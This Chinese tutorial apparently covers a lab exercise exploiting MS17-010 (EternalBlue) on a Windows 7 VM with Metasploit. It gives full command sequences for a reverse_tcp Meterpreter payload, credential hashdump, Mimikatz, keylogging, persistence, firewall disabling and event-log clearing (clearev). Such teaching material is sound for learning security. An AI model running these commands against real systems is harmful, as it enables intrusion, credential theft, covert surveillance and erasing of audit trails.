资讯动态

MSF内网渗透实战:永恒之蓝漏洞利用与Meterpreter后渗透全流程

发布时间:2026/10/21 23:37:09 来源:尧图企业网站定制
搞内网渗透的朋友都清楚Kali里最常用的渗透框架就是Metasploit简称MSF。我最初在虚拟机里用MSF打穿一台Windows靶机时光是搞懂LHOST和Payload的关系就折腾了小半天。今天我就把这套流程从头到尾拆开讲覆盖环境搭建、信息收集、漏洞利用、后渗透操控和常见问题排查目标是让第一次接触MSF的人也能照着走完一遍。需要提前说明本文所有操作都在本地搭好的虚拟实验环境中完成目标是一台专门用于练习的Windows虚拟机。任何未经授权的扫描、入侵和测试都是违反法律的行为这个底线必须守住。这篇内容适合网络安全初学者、运维人员和安全测试入门者阅读文中会尽量把每条命令背后的意图讲清楚而不是简单复制粘贴。1. 实验环境准备1.1 虚拟机与靶机选型背后的逻辑学习渗透测试最重要的前提就是“圈住攻击面”。在自己本机上直接做实验一不留神就会把宿主机弄崩而且网络行为容易被真实环境里的安全设备记录。用虚拟机把Kali和Windows靶机隔离在一个虚拟内网中既能模拟真实内网环境又能随时快照回滚。在工具选型上我习惯用VirtualBox。它开源、免费、跨平台网络模式也很直观教程资料非常多。Kali直接用官方虚拟机镜像即可系统装完就自带Metasploit省去手动配置源和依赖的麻烦。靶机我推荐Windows 7 SP1不选Windows 10的原因很简单永恒之蓝这类经典漏洞在Win7上触发稳定模块兼容性好而且教学资料和故障排查经验最丰富。新手先用老系统把流程跑通再逐步挑战新版本才符合循序渐进的学习路径。1.2 两台虚拟机的具体创建过程创建Kali虚拟机时我给它的配置是2个CPU核心、4GB内存、30GB动态磁盘。用官方虚拟机镜像导入后默认系统是开箱即用的不需要额外折腾。Windows 7虚拟机分配2GB内存、20GB磁盘安装完系统后我会直接在控制面板里把自动更新关闭刻意保持一个“存在漏洞且未打补丁”的状态。镜像选择32位或64位都行但后面选择Payload时必须对应上这里先埋个伏笔。尤其要注意网卡配置。VirtualBox默认的NAT模式允许虚拟机访问外网但Kali作为攻击机需要能与Windows靶机直接通信而且要让Kali“主动”连接过去。NAT模式下虚拟机之间是相互隔离的无法满足实验要求。所以我在全局设置里新建了一个Host-Only网络网段规划为192.168.56.0/24然后给两台虚拟机各添加一块Host-Only网卡。在VirtualBox的网卡设置里一块保持NAT用于系统更新另一块指定为Host-Only网络用于实验通信。我还专门整理过几种网络模式的区别方便对照理解网络模式虚拟机组间通信虚拟机访问宿主机虚拟机访问外网适用场景NAT不支持支持支持虚拟机上网、普通使用桥接模式支持支持支持模拟真实局域网内主机Host-Only支持支持不支持隔离实验网络、内网渗透实验采用Host-Only好处是模拟了内网隔离环境同时不会污染外部网络误操作也不会对外部设备产生实际影响。1.3 静态IP与防火墙预处理Host-Only网卡分配到的IP默认是动态的为了后续命令稳定我手动设置了静态IP。Kali里编辑/etc/network/interfaces或者直接在图形网络设置里找到Host-Only网卡填写IP 192.168.56.10、掩码255.255.255.0。Windows靶机则在“网络和共享中心”里给对应网卡设置IP 192.168.56.20。设置完成后在Kali里执行ip addr和ping 192.168.56.20确认网络通。这里有一个经典坑即使网卡配置正确Windows防火墙也会默认拦截ICMP和后续的SMB连接。我在实验开始前会直接在Windows靶机里把防火墙彻底关闭方法是控制面板→Windows防火墙→关闭。如果是命令行也可以这样操作netsh advfirewall set allprofiles state off这一步看似“作弊”实际是把变量减到最少。新手阶段先保证链路通畅把漏洞利用跑通再去思考防火墙绕过才有意义。关闭防火墙后再在Kali里尝试ping和nc -vz 192.168.56.20 445确认靶机SMB端口可达。2. 信息收集2.1 Nmap基础扫描与端口解读渗透测试的第一步不是上来就打而是搞清楚目标“是什么、开了什么门、可能存在什么弱点”。在Kali里最常用的信息收集工具就是Nmap。我常用的第一轮扫描是快速端口发现nmap -sS -p 135,139,445,3389 192.168.56.20-sS是TCP SYN半开扫描速度比全连接扫描快在目标日志里留下的痕迹也更少。-p指定常见Windows端口135对应RPC服务139对应NetBIOS会话服务445对应SMB文件共享服务3389对应远程桌面。实验里不需要扫描全部65535个端口但真实环境中我通常会加-p-做全端口扫描避免遗漏。执行后输出中可以看到几个端口都是open状态。这时基本能确认目标是一台Windows系统而且SMB服务对网络开放。如果目标没有开放445后面的永恒之蓝利用就没有前提条件需要换别的攻击面。接下来我会再做一轮版本探测和OS识别nmap -sV -O 192.168.56.20-sV让Nmap尝试获取服务版本-O则尝试识别操作系统。Windows 7 SP1的指纹特征很明显Nmap输出会给出类似“Microsoft Windows 7 SP1”的提示。这几条命令合起来目标的大致画像已经出来了。2.2 从开放端口到漏洞研判知道了目标开放端口还不够我们还需要判断它是否存在可利用漏洞。对于SMB有一个经典漏洞就是MS17-010俗称永恒之蓝。它影响Windows 7、Windows Server 2008等系统本质是SMBv1协议在解析某些特殊构造的报文时没有正确处理缓冲区长度导致攻击者可以在目标系统上执行任意代码。这个漏洞在2017年被公开利用工具席卷全球采用MSF里的模块进行复现非常稳定。但漏洞利用前我更推荐先用MSF自带的检测模块确认避免盲打浪费时间和流量。在msfconsole里操作如下msfconsole msf6 use auxiliary/scanner/smb/smb_ms17_010 msf6 auxiliary(scanner/smb/smb_ms17_010) set RHOSTS 192.168.56.20 msf6 auxiliary(scanner/smb/smb_ms17_010) run如果目标存在漏洞结果会返回类似“The target is vulnerable.”的提示。这一步非常关键它把“目标有没有洞”和“模块能不能打”分离让我们在利用失败时能准确定位到问题环节。2.3 信息收集的辅助手段除了Nmap和MSFKali里还能用arp-scan快速发现局域网内存活主机。比如arp-scan -l在Host-Only网段里它会列出所有响应ARP请求的主机IP和MAC地址。当然Host-Only网段里只有两台虚拟机作用不大但如果是模拟多台内网机器的环境这一步很高效。另外如果目标开放了445还可以用smbclient尝试匿名登录smbclient -L //192.168.56.20 -N有些Windows系统在配置不当的情况下允许匿名枚举共享名这本身就是低危漏洞。哪怕不能匿名登录返回的错误信息也会间接透露系统版本信息。信息收集阶段多用一个工具就多一分对目标的了解后面利用的选择面就更宽。3. 漏洞利用与上线3.1 Metasploit控制台快速上手利用阶段的绝对主角是MSF。启动方式就是msfconsole这个交互式控制台会加载大量模块等待用户输入命令。初次接触时最常用的命令有这几个help查看帮助所有命令一目了然。search按关键词搜索模块比如search ms17_010。use指定要使用的模块比如use exploit/windows/smb/ms17_010_eternalblue。set / unset设置或取消模块参数比如set RHOSTS 192.168.56.20。show options查看当前模块所有可配置参数以及当前设定值。info查看模块详细描述、适用系统、可用payload等信息。run / exploit启动利用模块。sessions管理已经建立的会话sessions -i 1进入编号为1的会话。我在教学时经常强调不要上来就use然后直接run一定要先敲show options看一遍参数。很多新手失败是因为漏设了LHOST或者RHOSTS写错导致回连包发不到攻击机上。3.2 永恒之蓝利用全流程确认目标存在MS17-010漏洞后我们切换利用模块一步一步设置参数msf6 use exploit/windows/smb/ms17_010_eternalblue msf6 exploit(windows/smb/ms17_010_eternalblue) set payload windows/x64/meterpreter/reverse_tcp msf6 exploit(windows/smb/ms17_010_eternalblue) set RHOSTS 192.168.56.20 msf6 exploit(windows/smb/ms17_010_eternalblue) set LHOST 192.168.56.10 msf6 exploit(windows/smb/ms17_010_eternalblue) set LPORT 4444 msf6 exploit(windows/smb/ms17_010_eternalblue) run这里的payload最终决定了目标系统回连的通道类型。reverse_tcp表示目标会主动连接回我们的Kali这是最常用的方式。LHOST必须填Kali在Host-Only网段的IP也就是192.168.56.10很多新手会下意识填eth0的地址结果Kali和Windows直连网段是56网段回连包根本发不到监听端口上。LPORT选一个未被占用的端口默认4444即可。成功时会看到类似这样的输出[*] Started reverse TCP handler on 192.168.56.10:4444 [*] 192.168.56.20:445 - Using auxiliary... [*] 192.168.56.20:445 - Sending egg to remote machine [*] 192.168.56.20:445 - Triggering the overwrite... [*] Meterpreter session 1 opened (192.168.56.10:4444 - 192.168.56.20:49193)看到“Meterpreter session 1 opened”说明我们已经成功在Windows靶机上建立了一条控制通道。3.3 Payload的类型与架构匹配学习到这里非常有必要理解一下Payload到底在干什么。Meterpreter是MSF提供的高级交互式载荷它不像普通Shell那样直接提供命令行而是一个分阶段加载的DLL注入体。它运行在目标进程的内存里可以动态加载各种扩展模块比如文件系统操作、屏幕截取、键盘记录等功能非常丰富。Payload有很多类型常见的有reverse_tcp和bind_tcp。reverse_tcp是目标主动回连攻击机适合目标防火墙限制入站连接的情况bind_tcp是在目标上开放一个监听端口攻击机主动连接适合目标能入站但无法出网的情况。实战中绝大多数场景都用reverse_tcp因为出网连接比入网容易过防火墙。另一个关键点是架构匹配。Windows 7 64位系统用windows/x64/meterpreter/reverse_tcp32位系统则要用windows/meterpreter/reverse_tcp。如果架构对不上payload会加载失败甚至导致目标进程崩溃。很多“利用成功但秒断”的问题都出在这里。3.4 会话建立后的第一步操作进入Meterpreter会话后我一般先执行三条命令确认“我在哪、我是谁、我有没有权限”meterpreter sysinfo meterpreter getuid meterpreter shellsysinfo会显示目标Windows版本、系统目录和架构。getuid显示当前进程的身份。永恒之蓝利用后通常获得SYSTEM权限但其他漏洞可能只是普通用户。shell可以进入目标系统的命令行相当于获得一个cmd窗口。从shell退出回到Meterpreter按CtrlC然后输入y确认即可。这里有个提醒不要在shell里多次输入exit一次exit回到Meterpreter连续多次会把整个会话关掉这是新手最容易犯的错。4. 后渗透操控4.1 权限提升与进程迁移拿到会话后第一件事是确认权限。如果getuid返回的不是NT AUTHORITY\SYSTEM就要考虑提权。Meterpreter里最直接的是getsystem命令它会自动尝试多种提权手段。执行后再次getuid如果身份变成SYSTEM就说明提权成功。除了提权进程迁移也是一个高频操作。Meterpreter运行在某个目标进程里如果这个进程不稳定、被管理员结束或者权限受限会话就可能中断。所以拿到高权限后通常会把Meterpreter迁移到系统级稳定进程里比如explorer.exe或svchost.exe。操作方法是先用ps列出进程找到目标进程PID然后执行migrate PID。迁移成功后会话会附着在新进程上存活能力和稳定性都会提高。要注意的是迁移前务必确认新进程的权限和架构否则可能把会话弄丢。4.2 抓取账号Hash与破解思路Windows系统不保存明文密码而是保存密码的Hash。在SYSTEM权限和足够权限的情况下Meterpreter可以用hashdump读取本地SAM数据库把所有本地用户的Hash导出。输出类似这样Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::每行中间冒号分隔的字段分别是用户名、RID、LM Hash和NTLM Hash。拿到Hash后可以用字典工具或者彩虹表尝试破解比如在Kali里用john加载hash文件也可以把NTLM Hash扔给在线工具进行碰撞。需要强调的是抓取Hash属于敏感操作在真实环境里只有拿到授权才能进行实验环境里倒是无所谓因为目标就是我们自己的虚拟机。如果目标系统允许还可以尝试读取明文密码。Meterpreter加载kiwi模块后能够调用Mimikatz的功能在内存中抓取明文。不过这类操作在现代Windows系统上会遇到大量防御限制而且高度敏感不建议新手在没有授权的情况下尝试。4.3 文件操作、屏幕与键盘监控Meterpreter的文件操作命令很多最常用的就是上传和下载meterpreter upload /root/test.txt C:\\Users\\Public meterpreter download C:\\Users\\Public\\test.txt /root/注意Windows路径里的反斜杠在命令中需要转义写成双反斜杠\\或者直接使用正斜杠C:/Users/Public避免路径解析出错。屏幕截图可以直接用screenshot命令抓取目标桌面当前画面。键盘记录则需要加载键盘线程常见操作是meterpreter keyscan_start meterpreter keyscan_dump执行keyscan_start开始记录键盘输入等一段时间后敲keyscan_dump将记录的键值打印出来。这里有一个明确的提醒屏幕截图和键盘记录在真实环境中涉及严重的隐私问题必须严格限定在授权测试范围内测试结束后应彻底清理相关数据。我自己只在靶机上演示从不拿真实账号当素材。4.4 会话保持与会话管理在长时间测试中会话的保持是重点。如果当前正做着后渗透需要临时回到MSF主界面执行其他模块可以用background把Meterpreter会话放到后台回到msf6 提示符。之后用sessions查看所有会话列表再用sessions -i 1重新进入编号为1的会话。如果需要更高阶的持久化比如重启后依然保留控制通道那就要植入后门。常用的方法是run persistence或run post/windows/manage/persistence。但对新手我强烈建议先不要碰持久化因为后门很容易被杀毒查杀而且清理起来很麻烦。实验环境里做好快照测试结束恢复快照才是最干净的退出方式。痕迹清理也不可忽视。真实授权测试的收尾阶段通常要清理测试过程中产生的工具、临时文件和日志。Meterpreter自带clearev命令可以清除Windows的事件日志meterpreter clearev这个命令会清除系统、安全、应用程序三类日志执行后可以在目标系统的事件查看器里看到日志被清空。注意这个操作会让系统管理员产生警觉真实环境是否清理要严格遵循测试合同不能擅自行动。5. 常见问题与避坑5.1 会话建立后自动断开我见过太多人在这一步卡住。利用模块返回Meterpreter session 1 opened紧接着又提示session 1 has died原因主要有三个。第一Payload架构与目标系统不匹配比如目标32位却用了x64载荷会话进程加载失败第二目标上的杀毒软件或安全软件检测到Meterpreter行为直接终止了进程第三LHOST或LPORT配置错误导致回连握手无法完成会话在建立后立刻超时。排查时先复查所有set参数尤其LHOST必须是Kali的Host-Only网卡IP。再看目标防火墙状态实验环境里干脆先关掉防火墙。最后看架构是否对应。如果这些都正常尝试换一个Payload比如改用windows/meterpreter/reverse_http看看能否绕过某些杀软的行为拦截。5.2 永恒之蓝利用失败的原因利用失败常见的报错包括“Connection refused”和“smb_nt_calculate_windows_7”相关错误。出现这类提示第一反应应该是目标系统有没有打补丁。Windows 7如果安装了2017年3月之后的安全更新就会封堵MS17-010模块自然打不进去。解决方法是换其他漏洞模块或者检查系统是否禁用了SMBv1协议。某些优化过的系统镜像会主动关闭SMBv1导致漏洞根本不存在。另外目标启用了SMB签名也会破坏某些利用模块的发送内容。永恒之蓝模块本身对SMB签名有处理但不同系统状态千差万别这时候可以去MSF的GitHub页面或社区帖子查模块的已知issue。我自己的经验是如果检测模块说“vulnerable”但利用模块反复失败可以尝试多次run偶尔是因为协议握手时序不稳如果连续十几次都失败就该考虑换模块或换攻击路径了。5.3 杀毒软件、Defender和免杀实验环境里的Windows 7其实没有太多杀软干扰但如果你用Windows 10做靶机Windows Defender很可能会在payload执行阶段直接拦截。遇到这种现象最稳妥的办法是先关闭实时防护跑通流程后再研究免杀。Meterpreter的默认特征非常明显真实环境中很难直接落地这也是安全圈常说“MSF打外网很难”的原因。免杀是个大话题通常的思路有source编码、payload二次封装、自定义加载器、分离加载等。但这篇文章不适合展开因为免杀资源的滥用风险很高。我只提醒一句免杀技术是中性的应用场景如果是合法授权测试那是技术积累用在未授权目标上就是明确的违法行为。学习时可以研究原理趁手验证只用自己靶机。5.4 给新手的三个建议经验有限时最容易犯的错误就是拿着MSF乱扫。这里给三个非常实际的建议。第一永远只在授权范围内操作宁可在一个封闭的虚拟网络里反复练习也不要去碰真实机器。第二善用快照每次实验前给靶机做个快照打坏了可以秒恢复这比清理系统省心太多。第三不要只会复制命令要去看模块源码和抓包数据。对照这篇文章你应该已经完成了从环境搭建到后渗透的完整闭环。下一步可以尝试把目标从Windows 7换成Windows 10看看防御机制差异有多大也可以尝试用msfvenom生成自定义Payload结合自己的加载器做一次免杀实验。但无论怎么扩展都请守住合法授权的底线。最后再分享一点个人体会。学渗透最怕“知其然不知其所以然”。照着教程敲完拿到session确实很有成就感但如果你不理解SYN扫描为什么快、SMB协议为什么会存在缓冲区溢出、Meterpreter为什么能用内存加载方式绕过程序文件限制那换个环境还是会卡住。我在跑通这个实验后专门花时间抓包分析了SMB握手过程又读了MSF模块的部分源码才真正对漏洞利用有了手感。建议你也把这条“原理—实操—复盘”的路走完收获会远超一次成功上线。

读完文章,也想定制专属网站?

尧图设计师 24 小时内与您沟通定制方案

免费获取报价 →
↑